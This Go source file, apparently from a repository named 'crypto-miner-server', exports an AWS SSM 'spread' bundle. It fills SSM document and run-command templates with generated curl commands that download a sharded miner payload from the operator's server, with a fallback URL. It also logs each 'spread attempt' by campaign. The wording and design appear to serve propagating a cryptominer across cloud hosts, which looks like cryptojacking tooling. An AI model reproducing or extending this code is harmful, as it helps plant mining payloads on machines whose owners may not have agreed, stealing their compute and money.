Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
133 lines
5.7 KiB
Go
133 lines
5.7 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/erasure"
|
|
)
|
|
|
|
type SSMSpreadBundle struct {
|
|
JoinLane string `json:"join_lane"`
|
|
Document string `json:"document"`
|
|
RunCommand string `json:"run_command"`
|
|
CreateDocumentCLI string `json:"create_document_cli"`
|
|
ManifestURL string `json:"manifest_url,omitempty"`
|
|
ShardURLs []string `json:"shard_urls,omitempty"`
|
|
FallbackGetURL string `json:"fallback_get_url,omitempty"`
|
|
}
|
|
|
|
func (h *DeployPlanHandler) buildSSMSpreadBundle(req deployPlanRequest, serverURL string) (SSMSpreadBundle, error) {
|
|
buildID := strings.TrimSpace(req.BuildID)
|
|
campaign := strings.TrimSpace(req.Campaign)
|
|
_, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
|
fallbackURL := serverURL + "/get?os=linux" + getQuerySuffix
|
|
manifestURL := serverURL + "/api/v1/public/erasure-torrent/placeholder/manifest"
|
|
var shardURLs []string
|
|
if h.erasureEnabled != nil && h.erasureEnabled() && h.erasureShards != nil {
|
|
platform := strings.TrimSpace(req.Platform)
|
|
if platform == "" {
|
|
platform = "linux"
|
|
}
|
|
if build, err := h.resolveBuild(buildID, platform); err == nil {
|
|
if payload, err := os.ReadFile(build.FilePath); err == nil {
|
|
if plan, err := erasure.BuildPlan(h.erasureShards, serverURL, buildID, campaign, payload, "/tmp/aetherforge-erasure/worker", "exe", "", true, true); err == nil && plan != nil {
|
|
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
|
manifestURL = manifest.ManifestURL
|
|
shardURLs = manifest.ShardManifestURLs
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
doc, runCmd, createCLI, err := renderSSMSpreadTemplates(h.projectRoot, serverURL, buildID, campaign, manifestURL, shardURLs, fallbackURL)
|
|
if err != nil {
|
|
return SSMSpreadBundle{}, err
|
|
}
|
|
return SSMSpreadBundle{JoinLane: "ssm_document", Document: doc, RunCommand: runCmd, CreateDocumentCLI: createCLI, ManifestURL: manifestURL, ShardURLs: shardURLs, FallbackGetURL: fallbackURL}, nil
|
|
}
|
|
|
|
func renderSSMSpreadTemplates(projectRoot, serverURL, buildID, campaign, manifestURL string, shardURLs []string, fallbackURL string) (string, string, string, error) {
|
|
dir := filepath.Join(projectRoot, "templates", "spread", "ssm")
|
|
docBytes, err := os.ReadFile(filepath.Join(dir, "document.json"))
|
|
if err != nil {
|
|
return "", "", "", fmt.Errorf("ssm document template: %w", err)
|
|
}
|
|
runBytes, err := os.ReadFile(filepath.Join(dir, "run-command.json"))
|
|
if err != nil {
|
|
return "", "", "", fmt.Errorf("ssm run-command template: %w", err)
|
|
}
|
|
cliBytes, err := os.ReadFile(filepath.Join(dir, "create-document.sh"))
|
|
if err != nil {
|
|
return "", "", "", fmt.Errorf("ssm create-document template: %w", err)
|
|
}
|
|
shardLines := make([]string, 0, len(shardURLs))
|
|
for i, u := range shardURLs {
|
|
shardLines = append(shardLines, fmt.Sprintf("curl -fsSL '%s' -o \"$WORKDIR/shard-%d.bin\"", strings.TrimSpace(u), i))
|
|
}
|
|
if len(shardLines) == 0 {
|
|
shardLines = append(shardLines, "# no erasure shards — fallback /get only")
|
|
}
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": strings.TrimRight(strings.TrimSpace(serverURL), "/"), "{{BUILD_ID}}": buildID,
|
|
"{{CAMPAIGN}}": campaign, "{{MANIFEST_URL}}": manifestURL, "{{FALLBACK_GET_URL}}": fallbackURL,
|
|
"{{SHARD_FETCH_LINES}}": strings.Join(shardLines, "\n"),
|
|
}
|
|
apply := func(content string) string {
|
|
for k, v := range repl {
|
|
content = strings.ReplaceAll(content, k, v)
|
|
}
|
|
return content
|
|
}
|
|
return apply(string(docBytes)), apply(string(runBytes)), apply(string(cliBytes)), nil
|
|
}
|
|
|
|
func (h *SpreadHandler) ExportSSMSpreadBundle(w http.ResponseWriter, r *http.Request) {
|
|
var req struct {
|
|
ServerURL string `json:"server_url"`
|
|
BuildID string `json:"build_id"`
|
|
Campaign string `json:"campaign"`
|
|
Platform string `json:"platform"`
|
|
AWSCLI string `json:"aws_cli_path"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.BuildID, req.Campaign = strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Platform == "" {
|
|
req.Platform = "linux"
|
|
}
|
|
planHandler := h.deployPlan
|
|
if planHandler == nil {
|
|
planHandler = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return req.ServerURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) })
|
|
store := h.erasureShards
|
|
if store == nil {
|
|
store = erasure.NewShardStore()
|
|
}
|
|
planHandler.BindErasureFromHub(h.wsHub, store)
|
|
}
|
|
bundle, err := planHandler.buildSSMSpreadBundle(deployPlanRequest{BuildID: req.BuildID, Campaign: req.Campaign, Platform: req.Platform}, req.ServerURL)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if cli := strings.TrimSpace(req.AWSCLI); cli != "" {
|
|
bundle.CreateDocumentCLI = strings.ReplaceAll(bundle.CreateDocumentCLI, "${AWS_CLI:-aws}", cli)
|
|
}
|
|
if h.wsHub != nil && h.db != nil {
|
|
_ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "ssm_document", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "ssm_document"})
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "bundle": bundle})
|
|
}
|